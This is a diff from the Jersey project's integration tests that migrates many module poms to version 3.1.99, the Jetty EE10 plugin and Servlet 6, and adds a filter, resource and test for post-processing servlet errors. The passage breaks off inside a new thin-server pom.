@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-init-4</artifactId> @@ -59,8 +59,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-3-init-5/pom.xml b/tests/integration/servlet-3-init-5/pom.xml index 029f8e2..3a7575f 100644 --- a/tests/integration/servlet-3-init-5/pom.xml +++ b/tests/integration/servlet-3-init-5/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-init-5</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-3-init-6/pom.xml b/tests/integration/servlet-3-init-6/pom.xml index c18feab..4e00536 100644 --- a/tests/integration/servlet-3-init-6/pom.xml +++ b/tests/integration/servlet-3-init-6/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-init-6</artifactId> @@ -57,8 +57,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-3-init-7/pom.xml b/tests/integration/servlet-3-init-7/pom.xml index 20cb7e2..dc0b47a 100644 --- a/tests/integration/servlet-3-init-7/pom.xml +++ b/tests/integration/servlet-3-init-7/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-init-7</artifactId> @@ -58,8 +58,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-3-init-8/pom.xml b/tests/integration/servlet-3-init-8/pom.xml index 3acf8bc..83ff80e 100644 --- a/tests/integration/servlet-3-init-8/pom.xml +++ b/tests/integration/servlet-3-init-8/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-init-8</artifactId> @@ -58,8 +58,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-3-init-9/pom.xml b/tests/integration/servlet-3-init-9/pom.xml index c31c844..4b081ff 100644 --- a/tests/integration/servlet-3-init-9/pom.xml +++ b/tests/integration/servlet-3-init-9/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-init-9</artifactId> @@ -42,7 +42,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -64,8 +63,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-3-init-provider/pom.xml b/tests/integration/servlet-3-init-provider/pom.xml index eed50db..15127e1 100644 --- a/tests/integration/servlet-3-init-provider/pom.xml +++ b/tests/integration/servlet-3-init-provider/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-init-provider</artifactId> @@ -40,7 +40,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -68,8 +67,8 @@ </configuration> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-3-params/pom.xml b/tests/integration/servlet-3-params/pom.xml index d8983e0..b35ddaf 100644 --- a/tests/integration/servlet-3-params/pom.xml +++ b/tests/integration/servlet-3-params/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-params</artifactId> @@ -40,7 +40,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -62,8 +61,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-3-sse-1/pom.xml b/tests/integration/servlet-3-sse-1/pom.xml index acd00bf..c507d00 100644 --- a/tests/integration/servlet-3-sse-1/pom.xml +++ b/tests/integration/servlet-3-sse-1/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-3-sse-1</artifactId>
diff --git a/tests/integration/servlet-4.0-mvc-1/pom.xml b/tests/integration/servlet-4.0-mvc-1/pom.xml index d9111b1..492ee36 100644 --- a/tests/integration/servlet-4.0-mvc-1/pom.xml +++ b/tests/integration/servlet-4.0-mvc-1/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-4.0-mvc-1</artifactId> @@ -49,7 +49,14 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> + </dependency> + <dependency> + <groupId>jakarta.xml.bind</groupId> + <artifactId>jakarta.xml.bind-api</artifactId> + </dependency> + <dependency> + <groupId>com.sun.xml.bind</groupId> + <artifactId>jaxb-osgi</artifactId> </dependency> <dependency> @@ -75,14 +82,13 @@ </configuration> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> - <!--TODO jakartify this --> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> <dependencies> <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> + <version>${servlet6.version}</version> </dependency> </dependencies> <configuration> @@ -91,24 +97,4 @@ </plugin> </plugins> </build> - - <profiles> - <profile> - <id>jdk11+</id> - <activation> - <jdk>[11,)</jdk> - </activation> - <dependencies> - <dependency> - <groupId>jakarta.xml.bind</groupId> - <artifactId>jakarta.xml.bind-api</artifactId> - </dependency> - <dependency> - <groupId>com.sun.xml.bind</groupId> - <artifactId>jaxb-osgi</artifactId> - </dependency> - </dependencies> - </profile> - </profiles> - </project>
diff --git a/tests/integration/servlet-request-wrapper-binding-2/pom.xml b/tests/integration/servlet-request-wrapper-binding-2/pom.xml index 5c0fe99..d23b7da 100644 --- a/tests/integration/servlet-request-wrapper-binding-2/pom.xml +++ b/tests/integration/servlet-request-wrapper-binding-2/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-request-wrappper-binding-2</artifactId> @@ -40,7 +40,7 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> + <version>${servlet6.version}</version> <scope>provided</scope> </dependency> @@ -68,8 +68,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java b/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java index 86017ec..e152f64 100644 --- a/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java +++ b/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java
@@ -1,4 +1,5 @@ /* + * Copyright (c) 2022 Contributors to the Eclipse Foundation * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the @@ -39,6 +40,7 @@ import jakarta.servlet.AsyncContext; import jakarta.servlet.DispatcherType; import jakarta.servlet.RequestDispatcher; +import jakarta.servlet.ServletConnection; import jakarta.servlet.ServletContext; import jakarta.servlet.ServletException; import jakarta.servlet.ServletInputStream; @@ -291,16 +293,6 @@ } @Override - public String encodeUrl(String s) { - return getHttpServletResponse().encodeUrl(s); - } - - @Override - public String encodeRedirectUrl(String s) { - return getHttpServletResponse().encodeRedirectUrl(s); - } - - @Override public void sendError(int i, String s) throws IOException { getHttpServletResponse().sendError(i, s); } @@ -330,14 +322,17 @@ getHttpServletResponse().setHeader(h, v); } + @Override public Collection<String> getHeaderNames() { return getHttpServletResponse().getHeaderNames(); } + @Override public Collection<String> getHeaders(String s) { return getHttpServletResponse().getHeaders(s); } + @Override public String getHeader(String s) { return getHttpServletResponse().getHeader(s); } @@ -368,11 +363,6 @@ } @Override - public void setStatus(int i, String s) { - getHttpServletResponse().setStatus(i, s); - } - - @Override public String getCharacterEncoding() { return getHttpServletResponse().getCharacterEncoding(); } @@ -501,6 +491,22 @@ private abstract static class MyHttpServletRequestImpl implements HttpServletRequest { @Override + public String getRequestId() { + return getHttpServletRequest().getRequestId(); + } + + @Override + public String getProtocolRequestId() { + return getHttpServletRequest().getProtocolRequestId(); + } + + @Override + public ServletConnection getServletConnection() { + return getHttpServletRequest().getServletConnection(); + } + + + @Override public String getAuthType() { return getHttpServletRequest().getAuthType(); } @@ -658,11 +664,6 @@ } @Override - public boolean isRequestedSessionIdFromUrl() { - return getHttpServletRequest().isRequestedSessionIdFromUrl(); - } - - @Override public Object getAttribute(String s) { return getHttpServletRequest().getAttribute(s); } @@ -783,11 +784,6 @@ } @Override - public String getRealPath(String s) { - return getHttpServletRequest().getRealPath(s); - } - - @Override public int getRemotePort() { return getHttpServletRequest().getRemotePort(); }
diff --git a/tests/integration/servlet-request-wrapper-binding/pom.xml b/tests/integration/servlet-request-wrapper-binding/pom.xml index 677d230..1399245 100644 --- a/tests/integration/servlet-request-wrapper-binding/pom.xml +++ b/tests/integration/servlet-request-wrapper-binding/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-request-wrappper-binding</artifactId> @@ -40,7 +40,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -68,8 +67,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-tests/pom.xml b/tests/integration/servlet-tests/pom.xml index f86f48a..30459a9 100644 --- a/tests/integration/servlet-tests/pom.xml +++ b/tests/integration/servlet-tests/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet-tests</artifactId> @@ -36,7 +36,7 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> + <version>${servlet6.version}</version> <scope>provided</scope> </dependency> @@ -48,6 +48,7 @@ <dependency> <groupId>org.glassfish.jersey.test-framework.providers</groupId> <artifactId>jersey-test-framework-provider-external</artifactId> + <scope>test</scope> </dependency> </dependencies> @@ -62,8 +63,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/servlet-tests/src/main/java/org/glassfish/jersey/tests/integration/servlettests/PostProcessingErrorFilter.java b/tests/integration/servlet-tests/src/main/java/org/glassfish/jersey/tests/integration/servlettests/PostProcessingErrorFilter.java new file mode 100644 index 0000000..856e2ef --- /dev/null +++ b/tests/integration/servlet-tests/src/main/java/org/glassfish/jersey/tests/integration/servlettests/PostProcessingErrorFilter.java
@@ -0,0 +1,56 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.integration.servlettests; + +import jakarta.servlet.Filter; +import jakarta.servlet.FilterChain; +import jakarta.servlet.FilterConfig; +import jakarta.servlet.ServletException; +import jakarta.servlet.ServletRequest; +import jakarta.servlet.ServletResponse; + +import java.io.IOException; + +import static org.glassfish.jersey.tests.integration.servlettests.PostProcessingErrorResource.ERROR_MESSAGE; + +public class PostProcessingErrorFilter implements Filter { + @Override + public void init(FilterConfig filterConfig) throws ServletException { + Filter.super.init(filterConfig); + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) + throws IOException { + + try { + chain.doFilter(request, response); + } catch (ServletException ex) { + //post-processing attempt + final Throwable orig = ex.getRootCause(); + if (orig.getMessage().equalsIgnoreCase(ERROR_MESSAGE)) { + response.getWriter().print(ERROR_MESSAGE); + response.getWriter().flush(); + } + } + } + + @Override + public void destroy() { + Filter.super.destroy(); + } +}
diff --git a/tests/integration/servlet-tests/src/main/java/org/glassfish/jersey/tests/integration/servlettests/PostProcessingErrorResource.java b/tests/integration/servlet-tests/src/main/java/org/glassfish/jersey/tests/integration/servlettests/PostProcessingErrorResource.java new file mode 100644 index 0000000..b9d3451 --- /dev/null +++ b/tests/integration/servlet-tests/src/main/java/org/glassfish/jersey/tests/integration/servlettests/PostProcessingErrorResource.java
@@ -0,0 +1,34 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.integration.servlettests; + +import jakarta.servlet.http.HttpServlet; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.Response; + +@Path("postprocessing") +public class PostProcessingErrorResource extends HttpServlet { + + static final String ERROR_MESSAGE = "Must be post processed"; + @GET + public Response getException() { + throw new ProcessingException(ERROR_MESSAGE); + } + +}
diff --git a/tests/integration/servlet-tests/src/main/webapp/WEB-INF/web.xml b/tests/integration/servlet-tests/src/main/webapp/WEB-INF/web.xml index 5d9d99e..813b221 100644 --- a/tests/integration/servlet-tests/src/main/webapp/WEB-INF/web.xml +++ b/tests/integration/servlet-tests/src/main/webapp/WEB-INF/web.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -157,4 +157,31 @@ <filter-name>custom404</filter-name> <url-pattern>/custom404/*</url-pattern> </filter-mapping> + + <!-- post process errors (40*, 50*) --> + <filter> + <filter-name>PostProcessFilter</filter-name> + <filter-class>org.glassfish.jersey.tests.integration.servlettests.PostProcessingErrorFilter</filter-class> + </filter> + <servlet> + <servlet-name>PostProcessServlet</servlet-name> + <servlet-class>org.glassfish.jersey.servlet.ServletContainer</servlet-class> + <init-param> + <param-name>jersey.config.server.provider.classnames</param-name> + <param-value>org.glassfish.jersey.tests.integration.servlettests.PostProcessingErrorResource</param-value> + </init-param> + <init-param> + <param-name>jersey.config.server.response.setStatusOverSendError</param-name> + <param-value>true</param-value> + </init-param> + <load-on-startup>1</load-on-startup> + </servlet> + <servlet-mapping> + <servlet-name>PostProcessServlet</servlet-name> + <url-pattern>/postProcess/*</url-pattern> + </servlet-mapping> + <filter-mapping> + <filter-name>PostProcessFilter</filter-name> + <url-pattern>/postProcess/*</url-pattern> + </filter-mapping> </web-app>
diff --git a/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/PostProcesingITCase.java b/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/PostProcesingITCase.java new file mode 100644 index 0000000..dbab315 --- /dev/null +++ b/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/PostProcesingITCase.java
@@ -0,0 +1,55 @@ +/* + * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.integration.servlettests; + +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.test.JerseyTest; +import org.glassfish.jersey.test.external.ExternalTestContainerFactory; +import org.glassfish.jersey.test.spi.TestContainerException; +import org.glassfish.jersey.test.spi.TestContainerFactory; +import org.junit.jupiter.api.Test; + +import java.util.Locale; + +import static org.glassfish.jersey.tests.integration.servlettests.PostProcessingErrorResource.ERROR_MESSAGE; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class PostProcesingITCase extends JerseyTest { + + @Override + protected Application configure() { + // dummy resource config + return new ResourceConfig(); + } + + @Override + protected TestContainerFactory getTestContainerFactory() throws TestContainerException { + return new ExternalTestContainerFactory(); + } + + @Test + public void testPostProcessingLocale() { + final Response response = target() + .path("postProcess/postprocessing") + .request().get(); + assertEquals(ERROR_MESSAGE, response.readEntity(String.class)); + } + +}
diff --git a/tests/integration/sonar-test/pom.xml b/tests/integration/sonar-test/pom.xml index fc6a804..a60d566 100644 --- a/tests/integration/sonar-test/pom.xml +++ b/tests/integration/sonar-test/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>sonar-test</artifactId> @@ -58,8 +58,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/spring6/pom.xml b/tests/integration/spring6/pom.xml index 13a7804..f3848be 100644 --- a/tests/integration/spring6/pom.xml +++ b/tests/integration/spring6/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -25,7 +25,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>spring6</artifactId> @@ -50,7 +50,7 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> + <version>${servlet6.version}</version> <scope>provided</scope> </dependency> @@ -133,9 +133,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> - <version>11.0.14</version> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> <configuration> <webApp> <contextPath>/</contextPath>
diff --git a/tests/integration/thin-server/pom.xml b/tests/integration/thin-server/pom.xml new file mode 100644 index 0000000..f6a74e5 --- /dev/null +++ b/tests/integration/thin-server/pom.xml
@@ -0,0 +1,66 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- + + Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved. + + This program and the accompanying materials are made available under the + terms of the Eclipse Public License v. 2.0, which is available at + http://www.eclipse.org/legal/epl-2.0. + + This Source Code may also be made available under the following Secondary + Licenses when the conditions for such availability set forth in the + Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + version 2 with the GNU Classpath Exception, which is available at + https://www.gnu.org/software/classpath/license.html. + + SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + +--> + +<project xmlns="http://maven.apache.org/POM/4.0.0" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> + <parent> + <artifactId>project</artifactId> + <groupId>org.glassfish.jersey.tests.integration</groupId> + <version>3.1.99-SNAPSHOT</version> + </parent> + <modelVersion>4.0.0</modelVersion> + + <artifactId>thin-server</artifactId> + <name>jersey-thin-server</name> + <description> + Run server without HTTP stack in tests. + </description> + + <dependencies> + <dependency> + <groupId>org.glassfish.jersey.core</groupId> + <artifactId>jersey-common</artifactId> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.core</groupId> + <artifactId>jersey-server</artifactId> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.core</groupId> + 